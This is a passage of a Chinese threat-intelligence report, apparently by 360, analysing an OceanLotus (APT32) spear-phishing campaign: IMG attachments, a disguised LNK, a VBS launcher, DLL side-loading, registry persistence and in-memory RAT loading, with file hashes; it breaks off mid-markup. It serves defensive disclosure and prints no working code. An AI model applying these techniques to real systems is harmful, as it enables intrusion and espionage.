  <p>360 高级威胁研究院捕获海莲花组织全新攻击活动，攻击者通过邮件投递带恶意载荷的镜像文件，采用白加黑侧加载，搭配多重反调试规避查杀；借助开源工具篡改注册表实现持久化，载荷经多层解密后在内存运行远控木马，完成远程操控。</p>
  <div data-role="outer" label="Powered by 135editor.com" style="" data-pm-slice="0 0 []" data-nest-level="2"><div data-tools="135编辑器" data-id="102539" data-nest-level="3"><div style="margin: 10px auto;text-align: left;" data-nest-level="4"><div style="background: #f2f2f2;" data-nest-level="5"><div style="box-sizing: border-box;padding:1em 1em;" data-nest-level="6"><div style="display: flex;justify-content:  space-between;align-items: flex-end;" hm_fix="312:231" data-nest-level="7"><div style="display: flex;justify-content: space-between;flex-direction: column;align-items: flex-start;border-left: 4px solid #be191f;box-sizing: border-box;" data-nest-level="8"><p data-brushtype="text" style="font-size: 16px;letter-spacing: 1.5px;padding: 0px 0em 3px;color: #322828;margin-left: 12px;border-bottom: 1px solid #be191f;font-style: italic;box-sizing: border-box;" data-nest-level="9"><span style="font-size: 18px;" data-nest-level="10"><strong data-nest-level="11"><span leaf="" data-nest-level="12">APT-C-00</span></strong></span></p><p data-brushtype="text" style="letter-spacing: 1.5px;padding: 4px 0em 0px;color: #be191f;font-style: italic;box-sizing: border-box;" data-nest-level="9"><span style="font-size: 18px;" data-nest-level="10"><strong data-nest-level="11"><span leaf="" data-nest-level="12">海莲花</span></strong></span></p></div></div><div data-autoskip="1" data-nest-level="7"><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;text-align: justify;" data-nest-level="8"><span leaf="" data-nest-level="9" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">海莲花组织（APT-C-00），别名 APT32、OceanLotus，是一支具备东南亚国家背景的</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-role&#34;:&#34;outer&#34;,&#34;label&#34;:&#34;Powered by 135editor.com&#34;,&#34;style&#34;:&#34;&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-tools&#34;:&#34;135编辑器&#34;,&#34;data-id&#34;:&#34;102539&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;margin: 10px auto;text-align: left;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;background: #f2f2f2;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;box-sizing: border-box;padding:1em 1em;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;section&#34;,&#34;attributes&#34;:{&#34;data-autoskip&#34;:&#34;1&#34;,&#34;style&#34;:&#34;text-align: justify;line-height: 1.75em;letter-spacing: 1.5px;font-size: 17px;color: rgb(0, 0, 0);margin-top: 20px;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;},&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{&#34;style&#34;:&#34;text-align:justify;vertical-align: inherit;padding: 0px;clear: both;color: rgb(51, 51, 51);font-weight: normal;font-size: 17px;text-indent: 28px;line-height: 1.5em;margin-top: 8px;margin-bottom: 8px;display: block;font-family:等线;&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]" data-nest-level="9">APT（高级持续性威胁）组织</span><span leaf="" data-nest-level="9" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;">。该组织自2012年起持续活跃，长期针对东亚、东南亚多国的政府部门、科研机构、海运及交通基建企业开展网络攻击活动。攻击者擅长运用钓鱼攻击、漏洞利用等方式渗透目标网络，依托定制化后门实现情报窃取。</span></p></div></div></div></div></div><div data-role="paragraph" data-nest-level="3"><div style="text-align: left;margin: 10px auto;" data-nest-level="4"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);" data-nest-level="5"><div style="display: inline-block;" data-nest-level="6"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;" data-nest-level="7"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;" data-nest-level="8"><strong data-nest-level="9"><span style="font-size:18px;" data-nest-level="10"><span leaf="" data-nest-level="11">一、概述</span></span></strong></p></div></div></div></div></div></div><p style="text-indent: 2em;margin: 16px 0px;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">近期，360高级威胁研究院在APT威胁狩猎中发现并捕获了海莲花组织新的攻击活动，利用邮件附件携带恶意载荷的光盘镜像文件作为投递载体，攻击链采用“白加黑”侧加载机制，利用多种反调试技术规避检测，同时利用开源工具将注册表配置转化为二进制单元文件，实现隐蔽的系统级持久化。最终载荷经过多层解密，全部在内存中动态展开并执行远控木马，以此实现远程控制。</span></p><div data-role="outer" label="edit by 135editor" data-pm-slice="0 0 []" data-nest-level="2"><div style="text-align: left;margin: 10px auto;" data-nest-level="3"><div style="background: linear-gradient(to bottom,rgba(254,254,254,0) 0%,rgba(254,254,254,0) 60%,#ffffff 60%,#ffffff 100%);" data-nest-level="4"><div style="display: inline-block;" data-nest-level="5"><div style="background-color: #be191f;padding: 6px 15px;box-sizing:border-box;" data-nest-level="6"><p data-brushtype="text" style="font-size: 18px;letter-spacing: 1.5px;color: #ffffff;" data-nest-level="7"><strong data-nest-level="8"><span style="font-size:18px;" data-nest-level="9"><span leaf="" data-nest-level="10">二、攻击活动分析</span></span></strong></p></div></div></div></div></div><h2 data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">1.</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">攻击流程分析</span></span></h2><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">本次攻击流程如下所示：</span><o:page data-nest-level="3"></o:page></p><p style="text-align: center;" data-nest-level="2"><span style="font-family: 等线;font-variant: normal;text-transform: none;" data-nest-level="3"><span leaf="" data-nest-level="4"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.677564825253664" data-w="887" style="width: 553.74px;height: 375.17px;" src="https://wechat2rss.xlab.app/img-proxy/?k=1ea015ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJPW8JWuicOI8PqzytBeQkHjqsf32ULDF2b2OrWzN6JiaJY7GH4fib0cMqFsjjVMS45x1cwnJhzfIFXIEl0WVrbsBDZpv2svRAYho%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">海莲花组织通过邮件发送携带IMG光盘映像文件的压缩包，诱导受害者点击其中嵌套的LNK文件。一旦LNK文件被点击执行，便会释放伪装成安装软件的白加黑组件和诱饵文档。其中的白程序analyzer.exe会加载恶意DLL文件mglobal.dll，该恶意DLL读取并解密数据文件userinit.db，随后在内存中加载HiveSwarming.exe工具，该工具将注册表文件转化为二进制的注册表配置单元文件，以此实现持久化。接着恶意DLL读取unins000.dat并将其解密为shellcode执行，最终在内存中加载特马，实现远控功能。</span></p><h2 style="" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">2.</span></span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3"><span textstyle="" style="color: rgb(190, 25, 31);font-weight: bold;">载荷投递分析</span></span></h2><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">海莲花组织善于使用鱼叉钓鱼攻击，本次攻击行动使用的鱼叉附件信息如下所示：</span></p><table style="border: none;border-collapse: collapse;mso-table-layout-alt: fixed;mso-border-top-alt: solid windowtext 0.5pt;mso-border-left-alt: solid windowtext 0.5pt;mso-border-bottom-alt: solid windowtext 0.5pt;mso-border-right-alt: solid windowtext 0.5pt;mso-padding-alt: 0pt 5.4pt 0pt 5.4pt;width: 100%;"><tbody><tr><td data-colwidth="170" width="170" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;" data-nest-level="6"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">MD5</span></span></p></td><td data-colwidth="350" width="350" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;" data-nest-level="6"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">68124f029a5fafc3733fbc7c43db1e07</span></span></p></td></tr><tr><td data-colwidth="170" width="170" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;" data-nest-level="6"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">文件大小</span></span></p></td><td data-colwidth="350" width="350" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:20.0pt;mso-line-height-rule:exactly;" data-nest-level="6"><span style="font-size:14.0pt;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">2.24 MB (2,355,943字节)</span></span></p></td></tr></tbody></table><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">截至分析时，该样本在VirusTotal平台依然保持着较低的检出率。</span></p><p data-nest-level="2"><span style="font-family:等线;mso-ascii-font-family:等线;mso-fareast-font-family:等线;font-variant:normal;text-transform:none;" data-nest-level="3"><span leaf="" data-nest-level="4"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.4386574074074074" data-w="864" style="width:553.739990234375px;height:242.8699951171875px;" src="https://wechat2rss.xlab.app/img-proxy/?k=82b4bdff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLefaR3u7x5ETeGnOZxGCHZLlPicAg5wfnSRwudLF8CmRTGIz7BuCrSaxTg7zibtJ9Tv6CVynTGf7G67Prywfc3B6CeoGiaiahO72I%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">压缩包解压后有三个文件，包括“0603《国际论坛》专家评审意见表.docx”、“专家评审费用发放明细表.xlsx”和恶意的img光盘镜像文件，该镜像文件包含多个文件，其中名为</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">“稿件.docx.lnk”的lnk文件作为攻击的入口点。用于设置命令行参数，以便执行当前“.”目录下的文件，而.目录下存在诱饵文件和白利用攻击组件。</span></p><p style="text-align: center;" nodeleaf="" data-nest-level="2"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.628428927680798" data-s="300,640" data-type="png" data-w="802" type="block" data-imgfileid="100025070" src="https://wechat2rss.xlab.app/img-proxy/?k=244e7c02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FEmmib7pWXrXJ4TS05gH3GnNEyxPKOFdyph4XO88PsZXMxzTsJViadUdXtUSJiacIsmpb5ic16DHxnlK8QHRgJFDIicvT6kZWnxhUScp58CotuheQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">“稿件.docx.lnk”文件信息如下</span></p><table style="border:none;border-collapse:collapse;mso-table-layout-alt:fixed;mso-border-top-alt:solid windowtext 0.5pt;mso-border-left-alt:solid windowtext 0.5pt;mso-border-bottom-alt:solid windowtext 0.5pt;mso-border-right-alt:solid windowtext 0.5pt;width:552px;mso-padding-alt:0pt 5.4pt 0pt 5.4pt;"><tbody><tr><td data-colwidth="104" width="104" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">MD5</span></span></p></td><td data-colwidth="448" width="378" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">f8202f44303c6bc9caaca932b1ab4208</span></span></p></td></tr><tr><td data-colwidth="104" width="104" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">文件名称</span></span></p></td><td data-colwidth="448" width="378" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;mso-font-kerning:0.0pt;" data-nest-level="7"><span leaf="" data-nest-level="8">稿件.docx.lnk</span></span></p></td></tr><tr><td data-colwidth="104" width="104" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">文件大小</span></span></p></td><td data-colwidth="448" width="378" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">462 字节 (462 字节)</span></span></p></td></tr></tbody></table><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">当受害者一旦运行</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">“问题.doc..lnk”</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">文件，</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3"> 就会加载HOmVe2f.vbs恶意脚本。</span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 0px;text-align: center;" data-nest-level="2"><span style="font-family: 等线;font-variant: normal;text-transform: none;" data-nest-level="3"><span leaf="" data-nest-level="4"><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.21303258145363407" data-w="798" style="width: 589.61px;height: 125.6px;" src="https://wechat2rss.xlab.app/img-proxy/?k=13549aae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FEmmib7pWXrXLanraoJwuXXKIUoVdQfFws7VoqSxLAe8LIsQokUk8m9gcibXcQHc6AKiavBmJ5kRG3ExB9fSfaTlXNET2Xlx8MSqVEBJhb5tT6E%2F640%3Fwx_fmt%3Dpng"/></span></span></p><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">HOmVe2f.vbs</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">脚本</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">信息</span><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">如下：</span></p><table style="border:none;border-collapse:collapse;mso-table-layout-alt:fixed;mso-border-top-alt:solid windowtext 0.5pt;mso-border-left-alt:solid windowtext 0.5pt;mso-border-bottom-alt:solid windowtext 0.5pt;mso-border-right-alt:solid windowtext 0.5pt;width:574px;mso-padding-alt:0pt 5.4pt 0pt 5.4pt;"><tbody><tr><td data-colwidth="104" width="104" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">MD5</span></span></p></td><td data-colwidth="470" width="378" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">1124092f3de057976a3ef62dbcb14f2e</span></span></p></td></tr><tr><td data-colwidth="104" width="104" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">文件名称</span></span></p></td><td data-colwidth="470" width="378" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;mso-font-kerning:0.0pt;" data-nest-level="7"><span leaf="" data-nest-level="8">HOmVe2f.vbs</span></span></p></td></tr><tr><td data-colwidth="104" width="104" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">文件大小</span></span></p></td><td data-colwidth="470" width="378" valign="top" style="border-width: 1pt;border-style: solid;border-color: windowtext;padding: 0pt 5.4pt;"><p style="line-height:150%;" data-nest-level="6"><span style="font-size:14.0pt;line-height:150%;mso-bidi-font-size:14.0pt;font-family:仿宋;mso-ascii-font-family:仿宋;mso-fareast-font-family:仿宋;font-variant:normal;text-transform:none;" data-nest-level="7"><span leaf="" data-nest-level="8">1.57 KB (1617 字节)</span></span></p></td></tr></tbody></table><p style="margin-top: 16px;margin-bottom: 16px;text-indent: 2em;" data-nest-level="2"><span leaf="" style="color: rgba(0, 0, 0, 0.9);font-size: 17px;font-family: mp-quote, &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;line-height: 1.6;letter-spacing: 0.034em;font-style: normal;font-weight: normal;" data-nest-level="3">该脚本是一个软件部署与启动器，其核心功能是打开诱饵文件并将特定文件复制到用户目录AppData\Local\Billfish下，以此伪装成正常软件，然后静默启动白程序Analyzer.exe，该文件会加载同目录下的恶意载荷mglobal.dll。</span></p><p style="text-align: center;" nodeleaf="" data-nest-level="2"><img data-aistatus="1" class="rich_pages wxw-img" 